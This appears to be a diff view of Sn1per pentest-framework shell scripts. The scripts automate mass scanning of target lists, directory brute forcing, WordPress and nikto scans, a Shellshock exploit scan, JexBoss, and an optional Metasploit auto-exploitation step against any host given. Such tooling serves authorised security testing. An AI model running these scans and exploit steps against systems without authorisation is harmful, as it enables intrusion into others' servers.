echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
sniper $args | tee $WORKSPACE_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
else
|
||||
echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
|
||||
sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
fi
|
||||
args=""
|
||||
done
|
||||
fi
|
||||
if [[ "$LOOT" = "1" ]]; then
|
||||
loot
|
||||
fi
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
exit
|
||||
fi
|
||||
|
|
@ -0,0 +1,71 @@
|
|||
# MASSWEB MODE #####################################################################################################
|
||||
if [[ "$MODE" = "massvulnscan" ]]; then
|
||||
if [[ -z "$FILE" ]]; then
|
||||
logo
|
||||
echo "You need to specify a list of targets (ie. -f <targets.txt>) to scan."
|
||||
exit
|
||||
fi
|
||||
if [[ "$REPORT" = "1" ]]; then
|
||||
for a in `cat $FILE`;
|
||||
do
|
||||
if [[ ! -z "$WORKSPACE" ]]; then
|
||||
args="$args -w $WORKSPACE"
|
||||
WORKSPACE_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
|
||||
echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
mkdir -p $WORKSPACE_DIR 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/domains 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/screenshots 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/nmap 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/notes 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/reports 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/output 2> /dev/null
|
||||
fi
|
||||
args="$args -m vulnscan --noreport --noloot"
|
||||
TARGET="$a"
|
||||
args="$args -t $TARGET"
|
||||
echo -e "$OKRED |"
|
||||
echo -e "$OKRED | |"
|
||||
echo -e "$OKRED | -/_\-"
|
||||
echo -e "$OKRED -/_\- ______________(/ . \)______________"
|
||||
echo -e "$OKRED ____________(/ . \)_____________ \___/ <>"
|
||||
echo -e "$OKRED <> \___/ <> <>"
|
||||
echo -e "$OKRED "
|
||||
echo -e "$OKRED ||"
|
||||
echo -e "$OKRED <>"
|
||||
echo -e "$OKRED ||"
|
||||
echo -e "$OKRED <>"
|
||||
echo -e "$OKRED ||"
|
||||
echo -e "$OKRED || BIG"
|
||||
echo -e "$OKRED _____ __ <> (^)))^ BOOM!"
|
||||
echo -e "$OKRED BOOM!/(( )\ BOOM!(( ))) ( ( )"
|
||||
echo -e "$OKRED ---- (__()__)) (() ) )) ( ( ( )"
|
||||
echo -e "$OKRED || |||____|------ \ (/ ___ (__\ /__)"
|
||||
echo -e "$OKRED |__||| | |---|---|||___| |___-----|||||"
|
||||
echo -e "$OKRED | ||. | | | ||| |||||"
|
||||
echo -e "$OKRED |__||| | |---|---|||___| |___-----|||||"
|
||||
echo -e "$OKRED | ||. | | | ||| |||||"
|
||||
echo -e "$OKRED __________________________________________________________"
|
||||
echo -e "$RESET"
|
||||
if [[ ! -z "$WORKSPACE_DIR" ]]; then
|
||||
echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
sniper $args | tee $WORKSPACE_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
else
|
||||
echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
|
||||
sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
fi
|
||||
args=""
|
||||
done
|
||||
fi
|
||||
if [[ "$LOOT" = "1" ]]; then
|
||||
loot
|
||||
fi
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
exit
|
||||
fi
|
||||
|
|
@ -0,0 +1,71 @@
|
|||
# MASSWEB MODE #####################################################################################################
|
||||
if [[ "$MODE" = "massweb" ]]; then
|
||||
if [[ -z "$FILE" ]]; then
|
||||
logo
|
||||
echo "You need to specify a list of targets (ie. -f <targets.txt>) to scan."
|
||||
exit
|
||||
fi
|
||||
if [[ "$REPORT" = "1" ]]; then
|
||||
for a in `cat $FILE`;
|
||||
do
|
||||
if [[ ! -z "$WORKSPACE" ]]; then
|
||||
args="$args -w $WORKSPACE"
|
||||
WORKSPACE_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
|
||||
echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
mkdir -p $WORKSPACE_DIR 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/domains 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/screenshots 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/nmap 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/notes 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/reports 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/output 2> /dev/null
|
||||
fi
|
||||
args="$args -m web --noreport --noloot"
|
||||
TARGET="$a"
|
||||
args="$args -t $TARGET"
|
||||
echo -e "$OKRED |"
|
||||
echo -e "$OKRED | |"
|
||||
echo -e "$OKRED | -/_\-"
|
||||
echo -e "$OKRED -/_\- ______________(/ . \)______________"
|
||||
echo -e "$OKRED ____________(/ . \)_____________ \___/ <>"
|
||||
echo -e "$OKRED <> \___/ <> <>"
|
||||
echo -e "$OKRED "
|
||||
echo -e "$OKRED ||"
|
||||
echo -e "$OKRED <>"
|
||||
echo -e "$OKRED ||"
|
||||
echo -e "$OKRED <>"
|
||||
echo -e "$OKRED ||"
|
||||
echo -e "$OKRED || BIG"
|
||||
echo -e "$OKRED _____ __ <> (^)))^ BOOM!"
|
||||
echo -e "$OKRED BOOM!/(( )\ BOOM!(( ))) ( ( )"
|
||||
echo -e "$OKRED ---- (__()__)) (() ) )) ( ( ( )"
|
||||
echo -e "$OKRED || |||____|------ \ (/ ___ (__\ /__)"
|
||||
echo -e "$OKRED |__||| | |---|---|||___| |___-----|||||"
|
||||
echo -e "$OKRED | ||. | | | ||| |||||"
|
||||
echo -e "$OKRED |__||| | |---|---|||___| |___-----|||||"
|
||||
echo -e "$OKRED | ||. | | | ||| |||||"
|
||||
echo -e "$OKRED __________________________________________________________"
|
||||
echo -e "$RESET"
|
||||
if [[ ! -z "$WORKSPACE_DIR" ]]; then
|
||||
echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
sniper $args | tee $WORKSPACE_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
else
|
||||
echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
|
||||
sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
fi
|
||||
args=""
|
||||
done
|
||||
fi
|
||||
if [[ "$LOOT" = "1" ]]; then
|
||||
loot
|
||||
fi
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
exit
|
||||
fi
|
||||
|
|
@ -0,0 +1,71 @@
|
|||
# MASSWEB MODE #####################################################################################################
|
||||
if [[ "$MODE" = "massweb" ]]; then
|
||||
if [[ -z "$FILE" ]]; then
|
||||
logo
|
||||
echo "You need to specify a list of targets (ie. -f <targets.txt>) to scan."
|
||||
exit
|
||||
fi
|
||||
if [[ "$REPORT" = "1" ]]; then
|
||||
for a in `cat $FILE`;
|
||||
do
|
||||
if [[ ! -z "$WORKSPACE" ]]; then
|
||||
args="$args -w $WORKSPACE"
|
||||
WORKSPACE_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
|
||||
echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
mkdir -p $WORKSPACE_DIR 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/domains 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/screenshots 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/nmap 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/notes 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/reports 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/output 2> /dev/null
|
||||
fi
|
||||
args="$args -m webscan --noreport --noloot"
|
||||
TARGET="$a"
|
||||
args="$args -t $TARGET"
|
||||
echo -e "$OKRED |"
|
||||
echo -e "$OKRED | |"
|
||||
echo -e "$OKRED | -/_\-"
|
||||
echo -e "$OKRED -/_\- ______________(/ . \)______________"
|
||||
echo -e "$OKRED ____________(/ . \)_____________ \___/ <>"
|
||||
echo -e "$OKRED <> \___/ <> <>"
|
||||
echo -e "$OKRED "
|
||||
echo -e "$OKRED ||"
|
||||
echo -e "$OKRED <>"
|
||||
echo -e "$OKRED ||"
|
||||
echo -e "$OKRED <>"
|
||||
echo -e "$OKRED ||"
|
||||
echo -e "$OKRED || BIG"
|
||||
echo -e "$OKRED _____ __ <> (^)))^ BOOM!"
|
||||
echo -e "$OKRED BOOM!/(( )\ BOOM!(( ))) ( ( )"
|
||||
echo -e "$OKRED ---- (__()__)) (() ) )) ( ( ( )"
|
||||
echo -e "$OKRED || |||____|------ \ (/ ___ (__\ /__)"
|
||||
echo -e "$OKRED |__||| | |---|---|||___| |___-----|||||"
|
||||
echo -e "$OKRED | ||. | | | ||| |||||"
|
||||
echo -e "$OKRED |__||| | |---|---|||___| |___-----|||||"
|
||||
echo -e "$OKRED | ||. | | | ||| |||||"
|
||||
echo -e "$OKRED __________________________________________________________"
|
||||
echo -e "$RESET"
|
||||
if [[ ! -z "$WORKSPACE_DIR" ]]; then
|
||||
echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
sniper $args | tee $WORKSPACE_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
else
|
||||
echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
|
||||
sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
fi
|
||||
args=""
|
||||
done
|
||||
fi
|
||||
if [[ "$LOOT" = "1" ]]; then
|
||||
loot
|
||||
fi
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
exit
|
||||
fi
|
||||
File diff suppressed because it is too large
Load Diff
|
|
@ -0,0 +1,149 @@
|
|||
if [[ "$MODE" = "web" ]]; then
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per HTTP web scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
if [[ "$PASSIVE_SPIDER" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2019-51-index?url=*.$TARGET&output=json" | jq -r .url | egrep -v "null" | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$WAYBACKMACHINE" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED FETCHING WAYBACK MACHINE URLS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -sX GET "http://web.archive.org/cdx/search/cdx?url=*.$TARGET/*&output=text&fl=original&collapse=urlkey" | tee $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$HACKERTARGET" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED FETCHING HACKERTARGET URLS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -sX GET "http://api.hackertarget.com/pagelinks/?q=http://$TARGET" | egrep -v "API count|no links found|input url is invalid|API count|no links found|input url is invalid" | tee $LOOT_DIR/web/hackertarget-http-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$BLACKWIDOW" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING ACTIVE WEB SPIDER & APPLICATION SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
touch $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cp $LOOT_DIR/web/spider-$TARGET.txt $LOOT_DIR/web/spider-$TARGET.bak 2>/dev/null
|
||||
blackwidow -u http://$TARGET:80 -l 3 -s y -v n
|
||||
cp -f /usr/share/blackwidow/"$TARGET"_80/"$TARGET"_80-*.txt $LOOT_DIR/web/ 2>/dev/null
|
||||
cat /usr/share/blackwidow/"$TARGET"_*/"$TARGET"_*-urls-sorted.txt > $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/hackertarget-*-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
sed -ir "s/</\&lh\;/g" $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
sort -u $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null > $LOOT_DIR/web/spider-$TARGET.sorted 2>/dev/null
|
||||
mv $LOOT_DIR/web/spider-$TARGET.sorted $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
diff $LOOT_DIR/web/spider-$TARGET.bak $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2}' 2> /dev/null > $LOOT_DIR/web/spider-new-$TARGET.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/spider-new-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
touch $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null
|
||||
cp $LOOT_DIR/web/dirsearch-$TARGET.txt $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null
|
||||
if [[ "$WEB_BRUTE_COMMONSCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING COMMON FILE/DIRECTORY BRUTE FORCE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$DIRSEARCH" == "1" ]]; then
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_STEALTH -x 400,403,404,405,406,429,502,503,504 -F -e $WEB_BRUTE_EXTENSIONS -f -r -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_COMMON -x 400,403,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt
|
||||
fi
|
||||
if [[ "$GOBUSTER" == "1" ]]; then
|
||||
gobuster -u http://$TARGET -w $WEB_BRUTE_COMMON -e | tee $LOOT_DIR/web/webbrute-$TARGET-http-common.txt
|
||||
fi
|
||||
fi
|
||||
if [[ "$WEB_BRUTE_FULLSCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING FULL FILE/DIRECTORY BRUTE FORCE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$DIRSEARCH" == "1" ]]; then
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_FULL -x 400,403,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt
|
||||
fi
|
||||
if [[ "$GOBUSTER" == "1" ]]; then
|
||||
gobuster -u http://$TARGET -w $WEB_BRUTE_FULL -e | tee $LOOT_DIR/web/webbrute-$TARGET-http-full.txt
|
||||
fi
|
||||
fi
|
||||
if [[ "$WEB_BRUTE_EXPLOITSCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE FOR VULNERABILITIES $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$DIRSEARCH" == "1" ]]; then
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_EXPLOITS -x 400,403,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt
|
||||
fi
|
||||
if [[ "$GOBUSTER" == "1" ]]; then
|
||||
gobuster -u http://$TARGET -w $WEB_BRUTE_EXPLOITS -e | tee $LOOT_DIR/web/webbrute-$TARGET-https-exploits.txt
|
||||
fi
|
||||
fi
|
||||
if [[ "$DIRSEARCH" == "1" ]]; then
|
||||
cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null
|
||||
cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
sort -u $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > $LOOT_DIR/web/dirsearch-$TARGET.sorted 2> /dev/null
|
||||
mv $LOOT_DIR/web/dirsearch-$TARGET.sorted $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
diff $LOOT_DIR/web/dirsearch-$TARGET.bak $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2 " " $3 " " $4}' 2> /dev/null > $LOOT_DIR/web/dirsearch-new-$TARGET.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/dirsearch-new-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
if [[ "$GOBUSTER" == "1" ]]; then
|
||||
sort -u $LOOT_DIR/web/webbrute-$TARGET-*.txt 2> /dev/null > $LOOT_DIR/web/webbrute-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
wget http://$TARGET/robots.txt -O $LOOT_DIR/web/robots-$TARGET-http.txt 2> /dev/null
|
||||
if [[ "$CLUSTERD" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED ENUMERATING WEB SOFTWARE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
clusterd -i $TARGET 2> /dev/null | tee $LOOT_DIR/web/clusterd-$TARGET-http.txt
|
||||
fi
|
||||
if [[ "$CMSMAP" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING CMSMAP $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cmsmap http://$TARGET | tee $LOOT_DIR/web/cmsmap-$TARGET-httpa.txt
|
||||
echo ""
|
||||
cmsmap http://$TARGET/wordpress/ | tee $LOOT_DIR/web/cmsmap-$TARGET-httpb.txt
|
||||
echo ""
|
||||
fi
|
||||
if [[ "$WPSCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING WORDPRESS VULNERABILITY SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
wpscan --url http://$TARGET --no-update --disable-tls-checks 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-httpa.txt
|
||||
echo ""
|
||||
wpscan --url http://$TARGET/wordpress/ --no-update --disable-tls-checks 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-httpb.txt
|
||||
echo ""
|
||||
fi
|
||||
if [[ "$NIKTO" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING WEB VULNERABILITY SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
nikto -h http://$TARGET -output $LOOT_DIR/web/nikto-$TARGET-http-port80.txt
|
||||
sed -ir "s/</\&lh\;/g" $LOOT_DIR/web/nikto-$TARGET-http-port80.txt
|
||||
fi
|
||||
if [[ "$SHOCKER" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING SHELLSHOCK EXPLOIT SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
python $PLUGINS_DIR/shocker/shocker.py -H $TARGET --cgilist $PLUGINS_DIR/shocker/shocker-cgi_list --port 80 | tee $LOOT_DIR/web/shocker-$TARGET-port80.txt
|
||||
fi
|
||||
if [[ "$JEXBOSS" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING JEXBOSS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cd /tmp/
|
||||
python /usr/share/sniper/plugins/jexboss/jexboss.py -u http://$TARGET | tee $LOOT_DIR/web/jexboss-$TARGET-port80.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/jexboss-$TARGET-port80.raw > $LOOT_DIR/web/jexboss-$TARGET-port80.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/jexboss-$TARGET-port80.raw 2> /dev/null
|
||||
cd $INSTALL_DIR
|
||||
fi
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per HTTP web scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
cd $INSTALL_DIR
|
||||
if [[ "$METASPLOIT_EXPLOIT" == "1" ]]; then
|
||||
PORT="80"
|
||||
SSL="false"
|
||||
source modes/web_autopwn.sh
|
||||
fi
|
||||
fi
|
||||
|
|
@ -0,0 +1,148 @@
|
|||
if [[ "$MODE" = "web" ]]; then
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per HTTPS web scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
if [[ "$PASSIVE_SPIDER" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
